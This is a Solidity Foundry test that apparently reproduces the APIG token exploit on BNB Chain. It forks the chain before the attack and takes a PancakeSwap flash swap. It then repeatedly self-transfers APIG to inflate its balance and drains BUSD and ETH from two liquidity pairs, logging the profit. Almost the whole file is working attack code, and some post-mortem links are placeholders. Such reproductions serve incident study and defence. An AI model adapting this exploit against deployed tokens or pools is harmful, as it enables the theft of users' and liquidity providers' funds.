APIG_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo - Total Lost : 59.5 ETH and ~72.1k USDT (~$169k)
// Attacker : https://bscscan.com/address/0x73d80500b30a6ca840bfab0234409d98cf588089
// Attack Contract : https://bscscan.com/address/0xfdc6a621861ed2a846ab475c623e13764f6a5ad0
// Attack Tx : https://bscscan.com/tx/0x66dee84591aeeba6e5f31e12fe728f2ddc79a06426036793487a980c3b952947

// @Analysis
// Post-mortem : https://www.google.com/
// Twitter Guy : https://twitter.com/CertiKAlert/status/1700128158647734745
// Hacking God : https://www.google.com/


interface IBEP20 {
  function totalSupply() external view returns (uint256);

  function decimals() external view returns (uint8);

  function symbol() external view returns (string memory);

  function name() external view returns (string memory);

  function getOwner() external view returns (address);

  function balanceOf(address account) external view returns (uint256);

  function transfer(address recipient, uint256 amount) external returns (bool);

  function allowance(address _owner, address spender) external view returns (uint256);

  function approve(address spender, uint256 amount) external returns (bool);

  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

  event Transfer(address indexed from, address indexed to, uint256 value);

  event Approval(address indexed owner, address indexed spender, uint256 value);

}


contract ContractTest is Test {
    IPancakePair aDaDPair = IPancakePair(0xaDaD973f8920bc511d94aade2762284f621F1467);
    IPancakePair EfBfPair = IPancakePair(0xEFBf31B0Ca397D29E9BA3fb37FE3C013EE32871d);
    IPancakePair b920Pair = IPancakePair(0xb920456AeC6E88c68C16c8294688B2b63C81B2Ce);
    IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
    IBEP20 BUSD = IBEP20(0x55d398326f99059fF775485246999027B3197955);
    IBEP20 BETH = IBEP20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);
    IBEP20 APIG = IBEP20(0xDc630Fb4F95FaAeE087E0CE45d5b9c4fc9888888);
    uint amount = 500_000_000_000_000_000_000;
    address[] path = new address[](2);

    function setUp() public {
        vm.createSelectFork("bsc", 31562012 - 1);
        vm.label(address(aDaDPair), "0xadad_Pair");
        vm.label(address(EfBfPair), "0xefbf_Pair");
        vm.label(address(b920Pair), "0xb920_Pair");
        vm.label(address(router), "PancakeRouter");
        vm.label(address(BUSD), "BSC-USD");
        vm.label(address(BETH), "ETH");
        vm.label(address(APIG), "APIG");
    }

    function testExploit() external{
        uint startBUSD = BUSD.balanceOf(address(this));
        // console.log("Before Start: %d USD", startBUSD);
        aDaDPair.swap(amount, 0, address(this), abi.encode(amount));

        uint expBUSD = BUSD.balanceOf(address(this)) - startBUSD;
        uint intRes_USD = expBUSD/1 ether;
        uint decRes_USD =  expBUSD - intRes_USD * 1e18;
        console.log("Attack Exploit: %s.%s USD", intRes_USD, decRes_USD);
        uint intRes_ETH =  BETH.balanceOf(address(this))/1 ether;
        uint decRes_ETH =  BETH.balanceOf(address(this)) - intRes_ETH * 1e18;
        console.log("Attack Exploit: %s.%s ETH", intRes_ETH, decRes_ETH);
    }

    function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external {
        BUSD.transfer(address(EfBfPair), amount);
        (path[0], path[1]) = (address(BUSD), address(APIG));
        uint256[] memory swapAmounts = router.getAmountsOut(amount, path);
        EfBfPair.swap(0, swapAmounts[1], address(this), "");
        uint256 amount72628 = BUSD.balanceOf(address(EfBfPair))-5e19;
        (path[0], path[1]) = (address(APIG), address(BUSD));
        uint256[] memory APIG_BUSD = router.getAmountsIn(amount72628, path);
        uint256 amount59500 = BETH.balanceOf(address(b920Pair))-1e17;
         (path[0], path[1]) = (address(APIG), address(BETH));
        uint256[] memory APIG_BETH = router.getAmountsIn(amount59500, path);
        while(true){
            uint transferAmount = APIG.balanceOf(address(this));
            APIG.transfer(address(this), transferAmount);
            if (transferAmount >= 257_947_240_540_223_703_649_846_558_720){
                break;
            }
        }

        APIG.transfer(address(EfBfPair), APIG_BUSD[0] + APIG_BUSD[0]/100*4);
        EfBfPair.swap(amount72628, 0, address(this), "");
        BUSD.transfer(address(aDaDPair), amount + amount/100*3);
        APIG.transfer(address(b920Pair),APIG.balanceOf(address(this)));
        b920Pair.swap(amount59500, 0, address(this), "");
    }

}